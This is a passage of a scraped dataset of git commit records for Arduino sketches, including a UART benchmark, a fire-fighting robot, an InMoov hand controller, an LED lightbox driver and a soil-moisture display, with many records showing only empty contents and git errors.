{\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/malduino_elite\/malduino_elite.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4f27ce5cbc57d2aa170dc8f7373b67e5c378f62d","subject":"added sensor init","message":"added sensor init\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6c014f19005441818acb02738f45c16e8641b5d0","subject":"Adding benchmark of IOStream, IOBuffer and UART performance.","message":"Adding benchmark of IOStream, IOBuffer and UART performance.\n","repos":"dansut\/Cosa,SinishaDjukic\/Meshwork,mikaelpatel\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,SinishaDjukic\/Meshwork,jeditekunum\/Cosa,SinishaDjukic\/Meshwork,jeditekunum\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,dansut\/Cosa,rrobinet\/Cosa,dansut\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,SinishaDjukic\/Meshwork,jeditekunum\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa","old_file":"examples\/Benchmarks\/CosaBenchmarkUART\/CosaBenchmarkUART.ino","new_file":"examples\/Benchmarks\/CosaBenchmarkUART\/CosaBenchmarkUART.ino","new_contents":"\/**\n * @file CosaBenchmarkUART.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307 USA\n *\n * @section Description\n * Benchmarking IOStream and UART functions; measure time to print\n * characters and numbers through the IOStream interface and IOBuffer\n * to the UART.\n * \n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Memory.h\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaBenchmarkUART: started\"));\n TRACE(free_memory());\n Watchdog::begin();\n RTC::begin();\n}\n\nvoid loop()\n{\n uint32_t start, stop;\n\n \/\/ Measure time to print character, string and number\n start = RTC::micros();\n trace << '1' << endl;\n stop = RTC::micros();\n trace << PSTR(\"one character:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << PSTR(\"1\") << endl;\n stop = RTC::micros();\n trace << PSTR(\"one character string:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << 1 << endl;\n stop = RTC::micros();\n trace << PSTR(\"integer:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << 1L << endl;\n stop = RTC::micros();\n trace << PSTR(\"long integer:\");\n trace << stop - start << PSTR(\" us\") << endl;\n trace << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << '1' << '0' << endl;\n stop = RTC::micros();\n trace << PSTR(\"two characters:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << PSTR(\"10\") << endl;\n stop = RTC::micros();\n trace << PSTR(\"two character string:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << 10 << endl;\n stop = RTC::micros();\n trace << PSTR(\"integer:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << 10L << endl;\n stop = RTC::micros();\n trace << PSTR(\"long integer:\");\n trace << stop - start << PSTR(\" us\") << endl;\n trace << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << '1' << '0' << '0' << endl;\n stop = RTC::micros();\n trace << PSTR(\"three characters:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << PSTR(\"100\") << endl;\n stop = RTC::micros();\n trace << PSTR(\"three character string:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << 100 << endl;\n stop = RTC::micros();\n trace << PSTR(\"integer:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << 100L << endl;\n stop = RTC::micros();\n trace << PSTR(\"long integer:\");\n trace << stop - start << PSTR(\" us\") << endl;\n trace << endl;\n SLEEP(1);\n\n \/\/ Measure time to print max integer; 8, 16 and 32 bit.\n start = RTC::micros();\n trace << (int8_t) 0x7f << endl;\n stop = RTC::micros();\n trace << PSTR(\"int8_t:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << (int16_t) 0x7fff << endl;\n stop = RTC::micros();\n trace << PSTR(\"int16_t:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << (int32_t) 0x7fffffffL << endl;\n stop = RTC::micros();\n trace << PSTR(\"int32_t:\");\n trace << stop - start << PSTR(\" us\") << endl;\n trace << endl;\n SLEEP(1);\n\n \/\/ Measure time to print max unsigned integer; 8, 16 and 32 bit.\n start = RTC::micros();\n trace << (uint8_t) 0xffU << endl;\n stop = RTC::micros();\n trace << PSTR(\"uint8_t:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << (uint16_t) 0xffffU << endl;\n stop = RTC::micros();\n trace << PSTR(\"uint16_t:\");\n trace << stop - start << PSTR(\" us\") << endl;\n SLEEP(1);\n\n start = RTC::micros();\n trace << (uint32_t) 0xffffffffUL << endl;\n stop = RTC::micros();\n trace << PSTR(\"uint32_t:\");\n trace << stop - start << PSTR(\" us\") << endl;\n trace << endl;\n SLEEP(1);\n\n ASSERT(true == false);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Benchmarks\/CosaBenchmarkUART\/CosaBenchmarkUART.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4d379e53970602fe9d114f852c0738970e596ea6","subject":"Mun code for FiFi 3, with Motor Driver 2","message":"Mun code for FiFi 3, with Motor Driver 2\n","repos":"RoCTCNJ\/FireFighter","old_file":"Navigation\/FireArd_Driver2\/FireArd_Driver2.ino","new_file":"Navigation\/FireArd_Driver2\/FireArd_Driver2.ino","new_contents":"\/* Fire Fighting Robot Coding\n * 11\/2\/2016\n * Code for robot with two motor drivers\n * FiFi 3\n * -------------------------------------------------------------\n * NOTE: LOW = 0; HIGH = 1; PWM = 0~255 when using motor driver 2\n * LOW is backwards, and HIGH is forward\n * The IR sensors read higher numbers when the object, or wall, are closer. (The farther, the lower number it is,) \n *\/\nint x = 0;\n\n\/\/Pin Assignments\nint E1 = 6; \/\/Speed 1\nint M1 = 7; \/\/Direction 1\nint E2 = 5; \/\/Speed 2 \nint M2 = 4; \/\/Direction 2\nint E3 = 8; \/\/Fan\nint M3 = 9;\n\nint ldist; \/\/ LEFT SENSOR READ\nint fdist; \/\/ FRONT SENSOR READ\nint rdist; \/\/ RIGHT SENSOR READ\nint fsense; \/\/ FLAME SENSOR READ\n\nboolean lClose;\nboolean fClose;\nboolean rClose;\nboolean flameSensed;\n\n\nvoid setup(){ \n pinMode(M1, OUTPUT); \n pinMode(M2, OUTPUT); \n pinMode(M3, OUTPUT); \n delay(500); \/\/wait 3 seconds before starting. (prevents bot from moving before it is on the floor)\n Serial.begin(9600); \/\/19200 bits-per-second\n Serial.println(\"FIRE FIGHTING ROBOT ACTIVATED\");\n}\n\n\/***********************************************************************\/\nvoid loop() {\n lClose = false;\n fClose = false;\n rClose = false;\n flameSensed = false;\n \n readSensors(); \/\/Read fire sensor and IR sensors.If fire is detected, sensedFire becomes true\n flameSensed = sensedFire();\n if (flameSensed == true){ \/\/senseFire is true, then the fan is on and the motors are off\n blow();\n Serial.println(\"flameSensed is true\");\n Stop();\n delay(2000);\n } \n else if (flameSensed == false){\n followRightWall(); \n delay(100); \n }\n flameSensed = false; \n\n delay(3000);\n}\n\/***********************************************************************\/\n\nboolean sensedFire()\n{\n if (fsense < 50)\n {\n Serial.println(\" \");\n Serial.print(\"FIRE DETECTED\");\n Serial.println(\" \");\n return true;\n }\n else\n return false;\n}\n\nvoid readSensors()\n{\n ldist = analogRead(1);\n fdist = analogRead(3);\n rdist = analogRead(2);\n fsense = analogRead(0);\n \n Serial.println();\n Serial.println(\"New Readings and Actions\");\n Serial.print(\"Left\"); Serial.print(\" \");\n Serial.print(\"Front\"); Serial.print(\" \"); \n Serial.print(\"Right\"); Serial.print(\" \");\n Serial.print(\"Flame Sensor Reads\"); Serial.print(\" \");\n Serial.println();\n Serial.print(ldist); Serial.print(\" \");\n Serial.print(fdist); Serial.print(\" \");\n Serial.print(rdist); Serial.print(\" \");\n Serial.print(fsense); Serial.print(\" \");\n Serial.println();\n \n if (ldist > 370)\n {\n lClose = true; \n Serial.print(\"LEFT is Close \");\n Serial.println(lClose);\n }\n \n if (fdist > 290)\n {\n fClose = true;\n Serial.print(\"FRONT is Close \");\n Serial.println(fClose);\n }\n\n if (rdist > 250)\n {\n rClose = true; \n Serial.print(\"RIGHT is Close \");\n Serial.println(rClose);\n }\n}\n\n\nvoid blow()\n{\n digitalWrite(M3,HIGH); \n analogWrite(E3, 250);\n Serial.println(\"fanPin is on\");\n delay(2000);\n \/\/Maybe should turn off the fan at some point\n}\n\n\/\/********************************************\n\/\/Defining Robot's Potential Actions as functions\n\/\/Stop, move forward, turn left, turn right\n\/\/Call different order of functions depending on the potential\n\/\/situations in the maze (3-way fork, left only, etc.)\n\/\/********************************************\n\nvoid Stop()\n {\n digitalWrite(M1,LOW); \n digitalWrite(M2,LOW); \n analogWrite(E1, LOW); \/\/PWM Speed Control\n analogWrite(E2, LOW); \/\/PWM Speed Control \n }\n\nvoid goForward()\n {\n digitalWrite(M1,HIGH); \n digitalWrite(M2,HIGH); \n analogWrite(E1, 250); \/\/PWM Speed Control\n analogWrite(E2, 250); \/\/PWM Speed Control\n }\n\nvoid turnRight() \/\/90 DEGREES CLOCKWISE\n {\n digitalWrite(M1,LOW); \n digitalWrite(M2,HIGH); \n analogWrite(E1, 250); \/\/PWM Speed Control\n analogWrite(E2, 250); \/\/PWM Speed Control \n delay(400); \n }\n\nvoid turnLeft() \/\/90 DEGREES COUNTER-CLOCKWISE\n {\n digitalWrite(M1,HIGH); \n digitalWrite(M2,LOW); \n analogWrite(E1, 250); \/\/PWM Speed Control\n analogWrite(E2, 250); \/\/PWM Speed Control \n delay(400); \n }\n\nvoid goBackwards()\n {\n digitalWrite(M1,LOW); \n digitalWrite(M2,LOW); \n analogWrite(E1, 250); \/\/PWM Speed Control\n analogWrite(E2, 250); \/\/PWM Speed Control\n }\n\n\/*\nvoid tiltLeft()\n{\n analogWrite(motor1Pin1, 100);\n analogWrite(motor1Pin2, LOW);\n analogWrite(motor2Pin1, 150);\n analogWrite(motor2Pin2, LOW);\n}\n*\/ \n\n\n\/\/ Right wall follow algorithm\n\nvoid followRightWall()\n{\n Serial.println(\"*****************runMotors*****************\");\n \/\/DEFAULT: GO FORWARD\n if ( rClose == 1 && fClose == 0 ) \/\/ if right is close and front is far, go forward\n {\n Serial.println(\" \");\n Serial.print(\"GO FORWARD\");\n Serial.println(\" \");\n goForward(); \n }\n\n \/*\n if ( lClose ==1 && fClose == 0 ) \/\/ if left is close and front is far, go forward\n {\n Serial.println(\" \");\n Serial.print(\"GO FORWARD\");\n Serial.println(\" \");\n goForward(); \n }\n\n \/\/STOP\n else if ( fClose && rClose ) \/\/ but if front left right are too ALL close, stop\n {\n Serial.println(\" \");\n Serial.print(\"STOP\");\n Serial.println(\" \");\n Stop();\n }\n *\/\n \n \/\/TURN RIGHT\n else if (rClose == 0) \/\/ if the right dist is far, then turn right \n {\n Serial.println(\" \");\n Serial.println(\"TURN RIGHT\");\n Serial.println(\" \");\n turnRight();\n goForward();\n }\n\n \/\/TURN LEFT\n else if ( lClose == 0 && rClose == 1 && fClose == 1 )\n {\n Serial.println(\" \");\n Serial.println(\"TURN LEFT\");\n Serial.println(\"\");\n turnLeft();\n goForward();\n }\n\n else\n {\n Stop();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Navigation\/FireArd_Driver2\/FireArd_Driver2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e980e3a1c594bc61a15242129ccb1322cc5c2861","subject":"mano v0.2 - InMoov Hand - AILR","message":"mano v0.2 - InMoov Hand - AILR\n\nThis version allows open and close the hand with Arduino Boards. \r\nNote: Calibrate with manov0.1.\r\n2016.\r\nAngel Iv\u00e1n Lozano Ram\u00edrez.\r\nhttps:\/\/goo.gl\/rQB4H5","repos":"ailr16\/InMoov-Control---AILR","old_file":"mano_v0.2.ino","new_file":"mano_v0.2.ino","new_contents":"\/*\n * Abre y cierra la mano cuando un bot\u00f3n es pulsado\n * Por Angel Iv\u00e1n Lozano Ram\u00edrez\n * 2016\n * https:\/\/github.com\/ailr16\/InMoov-Control---AILR\n * https:\/\/www.youtube.com\/channel\/UCJ5MFm2qRBsL5Vf8Yft5vpw\n *\/\n\n#include<Servo.h> \/\/Librer\u00eda para contolar Servos \nServo menique; \/\/Servo para dedo me\u00f1ique\nServo anular; \/\/Servo para dedo anular\nServo medio; \/\/Servo para dedo medio\nServo indice; \/\/Servo para dedo indice\nServo pulgar; \/\/Servo para dedo pulgar\n\nint boton = 12; \/\/Se\u00f1al TTL de Bot\u00f3n en pin 12\nint estado = 0; \/\/Estado del bot\u00f3n en 0\n\n\nvoid setup() {\n menique.attach(3); \/\/Servo en pin 3\n anular.attach(5); \/\/Servo en pin 5\n medio.attach(6); \/\/Servo en pin 6\n indice.attach(10); \/\/Servo en pin 10\n pulgar.attach(11); \/\/Servo en pin 11\n pinMode(boton, INPUT); \/\/Pin bot\u00f3n como entrada\n}\n\nvoid loop() {\n estado = digitalRead(boton); \/\/Lectura digital del pin boton\n\n if(estado == HIGH){ \/\/Condicional si la lectura es alta\n cerrar(); \/\/Void cerrar()\n } \n else{ \/\/Si la lectura es baja\n abrir(); \/\/Void arir()\n }\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/LOS \u00c1NGULOS SE OBTIENEN A PARTIR DE LA CALIBRACI\u00d3N CON mano_v0.1\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid abrir(){\n menique.write(180);\n anular.write(180);\n medio.write(0);\n indice.write(180);\n pulgar.write(0);\n}\n\nvoid cerrar(){\n menique.write(95);\n anular.write(0);\n medio.write(180);\n indice.write(60);\n pulgar.write(180);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mano_v0.2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"da12c2b3b7f68ce076a3b46548de11eecfd933bb","subject":"Added Arduino code for Lightbox.","message":"Added Arduino code for Lightbox.\n\nAdded the Arduino equivalent of the JTagController as it was originally created for the Twitterboom project. The original AVR code has been rewritten in a minimal Arduino sketch which has the exact same behavior.\n\nThere is one small catch, to get the best performance, the Wire library must be changed, specifically the I2C frequency should be set to 400kHz from the default 100kHz. For this, copy the Wire library to the 'sketchbook\/libraries' directory and open the 'Wire\/utility\/twi.h' file. The TWI_FREQ needs to be adjusted from 100000L to 400000L. This improves the performance of the controller from ~112Hz to ~200Hz.\n","repos":"edelooff\/Lightbox,edelooff\/Lightbox,edelooff\/Lightbox,edelooff\/Lightbox,edelooff\/Lightbox","old_file":"arduino\/JTagController\/JTagController.ino","new_file":"arduino\/JTagController\/JTagController.ino","new_contents":"\/\/ Wire libary I2C speed is 400kHz instead of default 100kHz.\n\/\/ This is done by copying the Wire library to the Arduino\n\/\/ 'libraries' folder and editing the 'utility\/twi.h' file.\n#include <Wire.h>\n\nconst byte\n pcaBaseAddress = 0x40,\n pcaFirstLedOn = 0x06,\n pcaFirstLedOff = 0x08,\n pcaMode1 = 0x00,\n pcaMode2 = 0x01;\nconst char\n *singleOutput = \"$%3d,%3d,%3d,%3d\",\n *allOutputs = \"#%3d,%3d,%3d\";\nint errorCount = 0;\n\nvoid setup() {\n Serial.begin(57600);\n Wire.begin();\n setupDriver();\n for (byte output = 16; output-- > 0;)\n setOutputLevel(output, 0);\n}\n\nvoid loop() {\n char receiveBuffer[20];\n int output, red, green, blue;\n receiveBuffer[0] = 0;\n if (readLine(receiveBuffer, 1000)) {\n if (strlen(receiveBuffer) > 4) {\n if (receiveBuffer[0] == '$') {\n sscanf(receiveBuffer, singleOutput, &output, &red, &green, &blue);\n output *= 3;\n setOutputLevel(output++, red);\n setOutputLevel(output++, green);\n setOutputLevel(output++, blue);\n } else {\n sscanf(receiveBuffer, allOutputs, &red, &green, &blue);\n for (byte j = 5; j-- > 0;) {\n output = j * 3;\n setOutputLevel(output++, red);\n setOutputLevel(output++, green);\n setOutputLevel(output++, blue);\n } \n }\n Serial.println('R');\n } else if (receiveBuffer[0] == 'H') {\n errorCount = 0;\n }\n } else if (++errorCount > 10) {\n \/\/ No transmission for 10 seconds, everything dark.\n for (byte output = 16; output-- > 0;)\n setOutputLevel(output, 0);\n };\n}\n\nboolean readLine(char *line, int timeout) {\n byte receivedByte;\n long starttime = millis();\n while (receivedByte != '\\n') {\n while (!Serial.available())\n if ((millis() - starttime) > timeout)\n return false;\n receivedByte = Serial.read();\n if (receivedByte != '\\r') \/\/ Ignore carriage return.\n *line++ = receivedByte;\n }\n *line = 0;\n return true;\n}\n\nvoid setupDriver() {\n \/\/ Sets the correct register values for the PCA9685 driver.\n writeRegister(pcaMode1, B00100000);\n writeRegister(pcaMode2, B00000100);\n}\n \nvoid writeRegister(byte regAddress, byte regData) {\n Wire.beginTransmission(pcaBaseAddress);\n Wire.write(regAddress);\n Wire.write(regData);\n Wire.endTransmission();\n}\n\nvoid setOutputLevel(byte output, byte level) {\n int intensity;\n if (level)\n intensity = level * 16;\n else\n intensity = 1;\n Wire.beginTransmission(pcaBaseAddress);\n \/\/ Only write OFF registers, skip ON registers.\n \/\/ This means all PWM load starts at zero, which is not ideal\n \/\/ but will have to do for the moment.\n Wire.write(pcaFirstLedOff + 4 * output);\n Wire.write(lowByte(intensity)); \/\/ OFF_LOW\n Wire.write(highByte(intensity)); \/\/ OFF_HIGH\n Wire.endTransmission();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/JTagController\/JTagController.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"2cd2283ed193c77d1d64d72174fa810943eb687c","subject":"Frustrations with PUT to Server","message":"Frustrations with PUT to Server\n","repos":"OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK","old_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Wifi CC3000\/WifiPUTtest\/WifiPUTtest.ino","new_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Wifi CC3000\/WifiPUTtest\/WifiPUTtest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SmartKitchen-Emdebbed' did not match any file(s) known to git\nerror: pathspec 'System\/Software\/Arduino\/Wifi' did not match any file(s) known to git\nerror: pathspec 'CC3000\/WifiPUTtest\/WifiPUTtest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"740b6853fcdc83a44d603566df554ec6a1afcb96","subject":"Stubbed out an Arduino example.","message":"Stubbed out an Arduino example.\n","repos":"bendiken\/templates,bendiken\/templates,bendiken\/templates,bendiken\/templates,bendiken\/templates,bendiken\/templates","old_file":"arduino\/examples\/foobar_hello\/foobar_hello.ino","new_file":"arduino\/examples\/foobar_hello\/foobar_hello.ino","new_contents":"\/* This is free and unencumbered software released into the public domain. *\/\n\n#include <Arduino.h>\n#include <Foobar.h>\n\nvoid setup() {\n \/\/ TODO\n}\n\nvoid loop() {\n \/\/ TODO\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/examples\/foobar_hello\/foobar_hello.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"8729f1a5c6efe4ed13520c917b248af4988f984d","subject":"Yaw_Out check","message":"Yaw_Out check\n\nAdded an additional option for fixed wing yaw. This is in case yaw_out\nsomehow has a value while rc_yaw is zero.\n","repos":"lowjunen\/THOR,lowjunen\/THOR","old_file":"Flight_Controller\/_04b_FW.ino","new_file":"Flight_Controller\/_04b_FW.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lowjunen\/THOR.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5d08f0f011ceaef36d281cc4e67f55dcaeb5e5be","subject":"Initial commit","message":"Initial commit\n","repos":"Tatsi\/AutoWater,Tatsi\/AutoWater","old_file":"AutoWater.ino","new_file":"AutoWater.ino","new_contents":"\/\/#include <DHT.h>\n#include \"TFTLCD.h\"\n#include <SD.h>\n#include \"TouchScreen.h\"\n#include <ArrayList.h>\n\n\/\/#define DHTPIN 2 \/\/Yhsist\u00e4 l\u00e4mp\u00f6tila\/ilmankosteussensorin signaali DIGITAALI pinniin 0\n\/\/#define LIGHT_SENSOR_PIN 3\/\/Yhdist\u00e4 valosensorin signaali DIGITAALI pinniin 1\n#define PUMP_PIN 2 \/\/Yhdist\u00e4 moottori (vesipumppu) B:n signaali DIGITAALI pinniin 2\n\n\/\/#define DHTTYPE DHT11 \/\/Ilmankosteussensorin tyyppi on DHT111\n\n\/\/LCD Pins\n#define LCD_CS A3 \n#define LCD_CD A2 \n#define LCD_WR A1 \n#define LCD_RD A0 \n#define LCD_RESET A4\n#define SD_CS 10 \n\n#define YP A1 \/\/ must be an analog pin, use \"An\" notation!\n#define XM A2 \/\/ must be an analog pin, use \"An\" notation!\n#define YM 7 \/\/ can be a digital pin\n#define XP 6 \/\/ can be a digital pin\n\n#define SOIL_SENSOR_PIN A5\n#define WATER_SENSOR_PIN A4\n\/\/#define DHT_SENSOR_PIN 2\n\/\/#define LIGHT_SENSOR_PIN 3\n\n#define\tBLACK 0x0000\n#define\tBLUE 0x001F\n#define\tRED 0xF800\n#define\tGREEN 0x07E0\n#define CYAN 0x07FF\n#define MAGENTA 0xF81F\n#define YELLOW 0xFFE0 \n#define WHITE 0xFFFF\n\nint VALUE_COUNT = 24;\nTFTLCD tft(LCD_CS, LCD_CD, LCD_WR, LCD_RD, LCD_RESET); \/\/TFT chip 7783\nTouchScreen ts = TouchScreen(XP, YP, XM, YM, 300);\n\/\/DHT dht(DHTPIN, DHTTYPE);\n\n\/\/ArrayList tempValues;\nArrayList soilValues;\n\/\/ArrayList humidityValues;\n\/\/ArrayList lightValues;\n\nchar soilSensorPrintout[4];\n\/\/char humiditySensorPrintout[4];\n\/\/char temperatureSensorPrintout[4];\n\/\/char lightSensorPrintout[4];\nFile root;\n\nvoid setup(void) { \n \/\/tempValues = new ArrayList();\n soilValues = new ArrayList();\n \/\/humidityValues = new ArrayList();\n \/\/lightValues = new ArrayList();\n Serial.begin(9600);\n \n\n tft.reset();\n \n \n \/\/Serial.print(F(\"Initializing SD card...\"));\n \/\/if (!SD.begin(SD_CS)) {\n \/\/ Serial.println(F(\"failed!\"));\n \/\/ return;\n \/\/}\n \n tft.initDisplay(); \n tft.fillScreen(CYAN);\n tft.setRotation(2);\n \n tft.setTextColor(BLACK);\n tft.setTextSize(100);\n \n for (int i = 1; i < VALUE_COUNT; i++)\n {\n \/\/tempValues.add(0.0f);\n soilValues.add(0.0f);\n \/\/humidityValues.add(0.0f);\n \/\/lightValues.add(0.0f);\n }\n}\n\nvoid loop(void) { \n \n \/\/Check for press\n \/\/TSPoint p = ts.getPoint();\n \n \/\/ we have some minimum pressure we consider 'valid'\n \/\/ pressure of 0 means no pressing!\n \/\/if (p.z > ts.pressureThreshhold) {\n \/\/ Serial.print(\"X = \"); Serial.print(p.x);\n \/\/ Serial.print(\"\\tY = \"); Serial.print(p.y);\n \/\/ Serial.print(\"\\tPressure = \"); Serial.println(p.z);\n \/\/}\n\n \/\/Read sensor data\n float soil_sensor = analogRead(SOIL_SENSOR_PIN);\n String soil_sensor_value = String(soil_sensor);\n \/\/float humidity = dht.readHumidity();\n \/\/float temperature = dht.readTemperature();\n \/\/boolean light = digitalRead(LIGHT_SENSOR_PIN);\n \/\/String soil_sensor_value = \"366\";\n \/\/String h = String(humidity);\n \/\/String t = String(temperature);\n \/\/String l = String(light);\n \n\n \/\/tempValues.add(temperature);\n \/\/humidityValues.add(humidity);\n \/\/lightValues.add(light);\n soilValues.add(soil_sensor);\n \n if (soilValues.size() > VALUE_COUNT)\n {\n \/\/tempValues.remove(0);\n soilValues.remove(0);\n \/\/humidityValues.remove(0);\n \/\/lightValues.remove(0);\n }\n\n \/\/ Check if any reads failed and exit early (to try again).\n \/\/if (isnan(h) || isnan(t)) {\n \/\/ Serial.println(\"Failed to read from DHT sensor!\");\n \/\/ return;\n \/\/}\n \/\/Serial.print(\"Humidity:\"); \n \/\/Serial.print(h);\n \/\/Serial.print(\",\");\n \/\/Serial.print(\"Temperature:\"); \n \/\/Serial.print(t);\n \/\/Serial.print(\",\");\n \n \/\/ convert the readings to a char arrays\n soil_sensor_value.toCharArray(soilSensorPrintout, 4);\n \/\/h.toCharArray(humiditySensorPrintout, 4);\n \/\/t.toCharArray(temperatureSensorPrintout, 4);\n \/\/l.toCharArray(lightSensorPrintout, 4);\n \n \/\/Draw to screen\n tft.fillScreen(BLACK);\n \n tft.drawRect(tft.TFTWIDTH, 0, tft.TFTWIDTH, tft.TFTHEIGHT\/4, YELLOW);\n tft.drawString(0, 0+2, \"Soil:\", CYAN);\n tft.drawString(80, 0+2, soilSensorPrintout, WHITE);\n float previous = soilValues[0];\n for (int i = 1; i < VALUE_COUNT; i++)\n {\n tft.drawLine((i-1)*(tft.TFTWIDTH\/VALUE_COUNT), tft.TFTHEIGHT\/4-(previous\/700)*(tft.TFTHEIGHT\/4),i*(tft.TFTWIDTH\/VALUE_COUNT), tft.TFTHEIGHT\/4-(soilValues[i]\/700)*(tft.TFTHEIGHT\/4));\n previous = soilValues[i];\n }\n \n tft.drawRect(tft.TFTWIDTH, tft.TFTHEIGHT\/4, tft.TFTWIDTH, tft.TFTHEIGHT\/4, YELLOW);\n tft.drawString(0, tft.TFTHEIGHT\/4+2, \"Humidity:\", CYAN);\n \/\/tft.drawString(80, tft.TFTHEIGHT\/4+2, humiditySensorPrintout, WHITE);\n \n tft.drawRect(tft.TFTWIDTH, tft.TFTHEIGHT\/2, tft.TFTWIDTH, tft.TFTHEIGHT\/4, YELLOW);\n tft.drawString(0, tft.TFTHEIGHT\/2+2, \"Temperature:\", CYAN);\n \/\/tft.drawString(80, tft.TFTHEIGHT\/2+2, temperatureSensorPrintout, WHITE);\n \n tft.drawRect(tft.TFTWIDTH, 3*tft.TFTHEIGHT\/4, tft.TFTWIDTH, tft.TFTHEIGHT\/4, YELLOW);\n tft.drawString(0, 3*tft.TFTHEIGHT\/4+2, \"Light:\", CYAN);\n \/\/tft.drawString(80, 3*tft.TFTHEIGHT\/4+2, lightSensorPrintout, WHITE);\n \n delay(2000);\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"0a5edf1f516b77b115380054e29cb780cc66b1b3","subject":"Add files via upload","message":"Add files via upload\n\nshine sensor","repos":"Galeje\/Cing","old_file":"_7kapitolaponovm.ino","new_file":"_7kapitolaponovm.ino","new_contents":"#include 